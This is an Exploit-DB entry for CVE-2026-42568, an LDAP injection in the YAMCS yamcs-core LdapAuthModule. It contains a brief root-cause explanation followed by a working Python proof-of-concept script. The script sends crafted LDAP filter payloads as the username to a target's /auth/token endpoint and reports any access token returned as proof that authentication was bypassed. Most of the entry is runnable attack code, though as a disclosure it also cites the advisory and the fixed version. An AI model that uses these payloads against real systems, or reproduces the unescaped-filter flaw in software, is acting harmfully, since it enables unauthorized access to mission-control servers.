YAMCS yamcs-core 5.12.7 - LDAP Injection

EDB-ID:

52603




Platform:

Multiple

Date:

2026-05-30


# Exploit Title: YAMCS yamcs-core  5.12.7 - LDAP Injection 
# Date: 2026-05-27
# Exploit Author: Daniel Miranda Barcelona (Excal1bur)
# Vendor Homepage: https://yamcs.org
# Software Link: https://github.com/yamcs/yamcs
# Version: < 5.12.7
# Tested on: Linux
# CVE: CVE-2026-42568
# Category: Remote / Auth Bypass
# Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j

#!/usr/bin/env python3
"""
CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule
=========================================================
The username parameter in LdapAuthModule is inserted directly
into LDAP search filters without RFC 4515 escaping.

Root cause (LdapAuthModule.java):
    var filter = userFilter.replace("{0}", username);

With userFilter=(uid={0}) and username=*)(uid=*))(|(uid=*
Result: (uid=*)(uid=*))(|(uid=*) — universal match, auth bypass.

Only affects instances with LdapAuthModule configured.
=========================================================
"""

import requests
import sys
import json

def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
    base = target.rstrip("/")

    print("=" * 65)
    print(" CVE-2026-42568 — YAMCS LDAP Injection PoC")
    print(f" Target: {target}")
    print(" Requires: LdapAuthModule configured in yamcs.yaml")
    print("=" * 65)

    payloads = [
        {
            "name": "Universal bypass",
            "username": "*)(uid=*))(|(uid=*",
            "password": "anything",
        },
        {
            "name": "Targeted bypass (admin)",
            "username": "admin)(|(objectClass=*",
            "password": "wrongpassword",
        },
        {
            "name": "Wildcard match",
            "username": "op*",
            "password": "anything",
        }
    ]

    for i, p in enumerate(payloads, 1):
        print(f"\n[{i}] {p['name']}")
        print(f"     username: {p['username']}")
        print(f"     password: {p['password']}")

        try:
            resp = requests.post(f"{base}/auth/token",
                data={
                    "grant_type": "password",
                    "username": p["username"],
                    "password": p["password"]
                }, timeout=5)

            print(f"     HTTP:     {resp.status_code}")

            if resp.status_code == 200:
                token = resp.json().get("access_token", "")
                print(f"     [!!!] AUTH BYPASSED")
                if token:
                    print(f"     [!!!] Token: {token[:50]}...")
            elif resp.status_code == 401:
                print(f"     [-] 401 — LDAP may not be configured")
            elif resp.status_code == 403:
                print(f"     [+] 403 — Patched or LDAP disabled")

        except requests.exceptions.ConnectionError:
            print(f"     [-] Connection refused — is YAMCS running?")
        except Exception as e:
            print(f"     [-] Error: {e}")

    print("\n" + "=" * 65)
    print(" Fix: Upgrade to yamcs-core >= 5.12.7")
    print("=" * 65)

if __name__ == "__main__":
    main()